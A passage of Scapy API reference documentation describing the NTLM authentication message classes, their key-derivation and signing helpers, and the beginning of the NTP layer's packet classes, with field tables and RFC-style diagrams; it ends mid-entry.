+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         NEGOTIATEFLAGS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PRODUCTMAJORVER|PRODUCTMINORVER|          PRODUCTBUILD         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RES VER                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NTLMREVISIONCUR|                      MIC                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            PAYLOAD            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. NTLM_AUTHENTICATE_V2                     


NTLM_AUTHENTICATE_V2 fields






	Signature

	StrFixedLenField

	b'NTLMSSP\x00'



	MessageType

	LEIntEnumField

	3



	LmChallengeResponseLen

	LEShortField

	None



	LmChallengeResponseMaxLen

	LEShortField

	None



	LmChallengeResponseBufferOffset

	LEIntField

	None



	NtChallengeResponseLen

	LEShortField

	None



	NtChallengeResponseMaxLen

	LEShortField

	None



	NtChallengeResponseBufferOffset

	LEIntField

	None



	DomainNameLen

	LEShortField

	None



	DomainNameMaxLen

	LEShortField

	None



	DomainNameBufferOffset

	LEIntField

	None



	UserNameLen

	LEShortField

	None



	UserNameMaxLen

	LEShortField

	None



	UserNameBufferOffset

	LEIntField

	None



	WorkstationLen

	LEShortField

	None



	WorkstationMaxLen

	LEShortField

	None



	WorkstationBufferOffset

	LEIntField

	None



	EncryptedRandomSessionKeyLen

	LEShortField

	None



	EncryptedRandomSessionKeyMaxLen

	LEShortField

	None



	EncryptedRandomSessionKeyBufferOffset

	LEIntField

	None



	NegotiateFlags

	FlagsField

	<Flag 0 ()>



	ProductMajorVersion

	ByteField (Cond)

	0



	ProductMinorVersion

	ByteField (Cond)

	0



	ProductBuild

	LEShortField (Cond)

	0



	res_ver

	LEThreeBytesField (Cond)

	0



	NTLMRevisionCurrent

	ByteEnumField (Cond)

	15



	MIC

	XStrFixedLenField (Cond)

	b''



	Payload

	_NTLMPayloadField

	[]















	
class scapy.layers.ntlm.NTLM_CHALLENGE(_pkt, /, *, Signature=b'NTLMSSP\x00', MessageType=2, TargetNameLen=None, TargetNameMaxLen=None, TargetNameBufferOffset=None, NegotiateFlags=<Flag 0 ()>, ServerChallenge=None, Reserved=None, TargetInfoLen=None, TargetInfoMaxLen=None, TargetInfoBufferOffset=None, ProductMajorVersion=0, ProductMinorVersion=0, ProductBuild=0, res_ver=0, NTLMRevisionCurrent=15, Payload=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L627-L689]

	Bases: _NTLMPayloadPacket


	
OFFSET()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L630-L630]

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SIGNATURE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MESSAGETYPE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         TARGETNAMELEN         |        TARGETNAMEMAXLEN       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     TARGETNAMEBUFFEROFFSET                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         NEGOTIATEFLAGS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        SERVERCHALLENGE                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         TARGETINFOLEN         |        TARGETINFOMAXLEN       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     TARGETINFOBUFFEROFFSET                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PRODUCTMAJORVER|PRODUCTMINORVER|          PRODUCTBUILD         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RES VER                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NTLMREVISIONCUR|            PAYLOAD            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NTLM_CHALLENGE                        


NTLM_CHALLENGE fields






	Signature

	StrFixedLenField

	b'NTLMSSP\x00'



	MessageType

	LEIntEnumField

	2



	TargetNameLen

	LEShortField

	None



	TargetNameMaxLen

	LEShortField

	None



	TargetNameBufferOffset

	LEIntField

	None



	NegotiateFlags

	FlagsField

	<Flag 0 ()>



	ServerChallenge

	XStrFixedLenField

	None



	Reserved

	XStrFixedLenField

	None



	TargetInfoLen

	LEShortField

	None



	TargetInfoMaxLen

	LEShortField

	None



	TargetInfoBufferOffset

	LEIntField

	None



	ProductMajorVersion

	ByteField (Cond)

	0



	ProductMinorVersion

	ByteField (Cond)

	0



	ProductBuild

	LEShortField (Cond)

	0



	res_ver

	LEThreeBytesField (Cond)

	0



	NTLMRevisionCurrent

	ByteEnumField (Cond)

	15



	Payload

	_NTLMPayloadField

	[]











	
getAv(AvId)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L670-L674]

	




	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L676-L689]

	








	
class scapy.layers.ntlm.NTLM_Header(_pkt, /, *, Signature=b'NTLMSSP\x00', MessageType=3)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L398-L419]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L409-L419]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SIGNATURE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MESSAGETYPE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. NTLM_Header                         


NTLM_Header fields






	Signature

	StrFixedLenField

	b'NTLMSSP\x00'



	MessageType

	LEIntEnumField

	3















	
class scapy.layers.ntlm.NTLM_NEGOTIATE(_pkt, /, *, Signature=b'NTLMSSP\x00', MessageType=1, NegotiateFlags=<Flag 0 ()>, DomainNameLen=None, DomainNameMaxLen=None, DomainNameBufferOffset=None, WorkstationNameLen=None, WorkstationNameMaxLen=None, WorkstationNameBufferOffset=None, ProductMajorVersion=0, ProductMinorVersion=0, ProductBuild=0, res_ver=0, NTLMRevisionCurrent=15, Payload=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L487-L547]

	Bases: _NTLMPayloadPacket


	
OFFSET()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L490-L490]

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SIGNATURE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MESSAGETYPE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         NEGOTIATEFLAGS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         DOMAINNAMELEN         |        DOMAINNAMEMAXLEN       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     DOMAINNAMEBUFFEROFFSET                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       WORKSTATIONNAMELEN      |     WORKSTATIONNAMEMAXLEN     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                  WORKSTATIONNAMEBUFFEROFFSET                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PRODUCTMAJORVER|PRODUCTMINORVER|          PRODUCTBUILD         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RES VER                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NTLMREVISIONCUR|            PAYLOAD            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NTLM_NEGOTIATE                        


NTLM_NEGOTIATE fields






	Signature

	StrFixedLenField

	b'NTLMSSP\x00'



	MessageType

	LEIntEnumField

	1



	NegotiateFlags

	FlagsField

	<Flag 0 ()>



	DomainNameLen

	LEShortField

	None



	DomainNameMaxLen

	LEShortField

	None



	DomainNameBufferOffset

	LEIntField

	None



	WorkstationNameLen

	LEShortField

	None



	WorkstationNameMaxLen

	LEShortField

	None



	WorkstationNameBufferOffset

	LEIntField

	None



	ProductMajorVersion

	ByteField (Cond)

	0



	ProductMinorVersion

	ByteField (Cond)

	0



	ProductBuild

	LEShortField (Cond)

	0



	res_ver

	LEThreeBytesField (Cond)

	0



	NTLMRevisionCurrent

	ByteEnumField (Cond)

	15



	Payload

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L534-L547]

	








	
class scapy.layers.ntlm.NTLM_RESPONSE(_pkt, /, *, Response=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L708-L711]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESPONSE                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. NTLM_RESPONSE                        


NTLM_RESPONSE fields






	Response

	StrFixedLenField

	b''















	
class scapy.layers.ntlm.NTLMv2_CLIENT_CHALLENGE(_pkt, /, *, RespType=1, HiRespType=1, Reserved1=0, Reserved2=0, TimeStamp=None, ChallengeFromClient=b'12345678', Reserved3=0, AvPairs=[<AV_PAIR  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L714-L732]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESPTYPE   |   HIRESPTYPE  |           RESERVED1           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED2                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      CHALLENGEFROMCLIENT                      |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED3                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            AVPAIRS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. NTLMv2_CLIENT_CHALLENGE                   


NTLMv2_CLIENT_CHALLENGE fields






	RespType

	ByteField

	1



	HiRespType

	ByteField

	1



	Reserved1

	LEShortField

	0



	Reserved2

	LEIntField

	0



	TimeStamp

	UTCTimeField

	None



	ChallengeFromClient

	StrFixedLenField

	b'12345678'



	Reserved3

	LEIntField

	0



	AvPairs

	PacketListField

	[<AV_PAIR  |>]











	
getAv(AvId)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L728-L732]

	








	
scapy.layers.ntlm.NTLMv2_ComputeSessionBaseKey(ResponseKeyNT, NTProofStr)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1018-L1019]

	




	
class scapy.layers.ntlm.NTLMv2_RESPONSE(_pkt, /, *, NTProofStr=b'', RespType=1, HiRespType=1, Reserved1=0, Reserved2=0, TimeStamp=None, ChallengeFromClient=b'12345678', Reserved3=0, AvPairs=[<AV_PAIR  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L735-L766]

	Bases: NTLMv2_CLIENT_CHALLENGE


	
aliastypes

	




	
computeNTProofStr(ResponseKeyNT, ServerChallenge)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L741-L766]

	
	Set temp to ConcatenationOf(Responserversion, HiResponserversion,
	Z(6), Time, ClientChallenge, Z(4), ServerName, Z(4))



	Set NTProofStr to HMAC_MD5(ResponseKeyNT,
	ConcatenationOf(CHALLENGE_MESSAGE.ServerChallenge,temp))





Remember ServerName = AvPairs






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           NTPROOFSTR                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESPTYPE   |   HIRESPTYPE  |           RESERVED1           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED2                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      CHALLENGEFROMCLIENT                      |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED3                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            AVPAIRS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NTLMv2_RESPONSE                       


NTLMv2_RESPONSE fields






	NTProofStr

	XStrFixedLenField

	b''



	RespType

	ByteField

	1



	HiRespType

	ByteField

	1



	Reserved1

	LEShortField

	0



	Reserved2

	LEIntField

	0



	TimeStamp

	UTCTimeField

	None



	ChallengeFromClient

	StrFixedLenField

	b'12345678'



	Reserved3

	LEIntField

	0



	AvPairs

	PacketListField

	[<AV_PAIR  |>]















	
scapy.layers.ntlm.NTOWFv2(Passwd, User, UserDom, HashNt=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1003-L1015]

	Computes the ResponseKeyNT (per [MS-NLMP] sect 3.3.2)


	Parameters:

	
	Passwd – the plain password


	User – the username


	UserDom – the domain name


	HashNt – (out of spec) if you have the HashNt, use this and set
Passwd to None













	
scapy.layers.ntlm.RC4(handle, data)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L967-L969]

	The RC4 Encryption Algorithm






	
scapy.layers.ntlm.RC4Init(key)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L957-L964]

	Alleged RC4






	
scapy.layers.ntlm.RC4K(key, data)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L972-L981]

	Indicates the encryption of data item D with the key K using the
RC4 algorithm.






	
scapy.layers.ntlm.SEAL(Handle, SigningKey, SeqNum, Message)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1047-L1054]

	SEAL() according to [MS-NLMP]






	
scapy.layers.ntlm.SEALKEY(NegFlg, ExportedSessionKey, Mode)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1091-L1117]

	




	
scapy.layers.ntlm.SIGN(Handle, SigningKey, SeqNum, Message)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1039-L1041]

	




	
scapy.layers.ntlm.SIGNKEY(NegFlg, ExportedSessionKey, Mode)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1070-L1085]

	




	
class scapy.layers.ntlm.Single_Host_Data(_pkt, /, *, Size=48, Z4=0, CustomData=b'', MachineID=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L553-L562]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L561-L562]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SIZE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               Z4                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CUSTOMDATA                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MACHINEID                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. Single_Host_Data                       


Single_Host_Data fields






	Size

	LEIntField

	48



	Z4

	LEIntField

	0



	CustomData

	XStrFixedLenField

	b''



	MachineID

	XStrFixedLenField

	b''















	
scapy.layers.ntlm.UNSEAL(Handle, SigningKey, SeqNum, Message)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1057-L1064]

	UNSEAL() according to [MS-NLMP]








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.ntp

NTP (Network Time Protocol).
References : RFC 5905, RC 1305, ntpd source code


	
class scapy.layers.ntp.NTP(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L205-L233]

	Bases: Packet

Base class that allows easier instantiation of a NTP packet from binary
data.


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L211-L217]

	Returns the right class for the given data.






	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L230-L233]

	




	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L219-L228]

	Check that the payload is long enough to build a NTP packet.










	
class scapy.layers.ntp.NTPAuthenticator(_pkt, /, *, padding=b'', key_id=0, dgst=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L254-L268]

	Bases: Packet

Packet handling the “authenticator” part of a NTP packet, as
defined in RFC 5905.


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L267-L268]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |             KEY ID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              DGST             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. NTPAuthenticator                       


NTPAuthenticator fields






	padding

	_NTPAuthenticatorPaddingField

	b''



	key_id

	IntField

	0



	dgst

	XStrFixedLenField

	b''















	
class scapy.layers.ntp.NTPClockStatusPacket(_pkt, /, *, clock_status=0, code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L664-L676]

	Bases: Packet

Packet handling the clock status fields.


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L675-L676]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  CLOCK STATUS |      CODE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. NTPClockStatusPacket                     


NTPClockStatusPacket fields






	clock_status

	BitEnumField

	0



	code

	BitField  (8 bits)

	0















	
class scapy.layers.ntp.NTPConfPeer(_pkt, /, *, peeraddr='0.0.0.0', hmode=0, version=0, minpoll=0, maxpoll=0, flags=<Flag 0 ()>, ttl=0, unused1=0, keyid=0, keystr=b'', v6_flag=0, unused2=0, peeraddr6='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1233-L1253]

	Bases: Packet

Structure for passing peer configuration information.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PEERADDR                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     HMODE     |    VERSION    |    MINPOLL    |    MAXPOLL    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |      TTL      |            UNUSED1            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             KEYID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             KEYSTR                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            V6 FLAG                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNUSED2                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PEERADDR6                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. NTPConfPeer                         


NTPConfPeer fields






	peeraddr

	IPField

	'0.0.0.0'



	hmode

	ByteField

	0



	version

	ByteField

	0



	minpoll

	ByteField

	0



	maxpoll

	ByteField

	0



	flags

	FlagsField

	<Flag 0 ()>



	ttl

	ByteField

	0



	unused1

	ShortField

	0



	keyid

	IntField

	0



	keystr

	StrFixedLenField

	b''



	v6_flag

	IntField

	0



	unused2

	IntField

	0



	peeraddr6

	IP6Field

	'::'















	
class scapy.layers.ntp.NTPConfRestrict(_pkt, /, *, addr='0.0.0.0', mask='0.0.0.0', flags=<Flag 0 ()>, m_flags=0, v6_flag=0, addr6='::', mask6='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1287-L1301]

	Bases: Packet

Structure used for specifying restrict entries.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FLAGS             |            M FLAGS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            V6 FLAG                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ADDR6                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             MASK6                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NTPConfRestrict                       


NTPConfRestrict fields






	addr

